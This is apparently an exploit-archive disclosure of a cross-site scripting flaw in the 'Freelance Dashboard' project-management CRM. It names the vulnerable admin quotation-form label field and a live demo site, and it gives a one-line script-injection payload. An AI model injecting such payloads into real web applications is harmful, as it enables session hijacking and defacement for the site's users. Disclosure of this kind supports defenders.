<------------------ header data start ------------------- >

#############################################################

# Application Name : Freelance Dashboard - Project Management CRM

# Vulnerable Type : Cross-Site Scripting

# Bug Fix Advice : Harmful characters can be filtered out.

# Vendor Homepage : http://codecanyon.net/item/freelance-dashboard-project-management-crm/9828734

# Author : Cyber-Warrior | Bug Researchers Group | HighVoltage

# Author Contact : https://twitter.com/VatanSavunmasi

# Tested on Demo Site : http://freelancedemo.nextloop.net/client/login

# Exploits : http://freelancedemo.nextloop.net/admin/quotationforms/view/1 --> Label xss code

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

><Script>alert(’XSS’);</Script>

< -- bug code end of -- >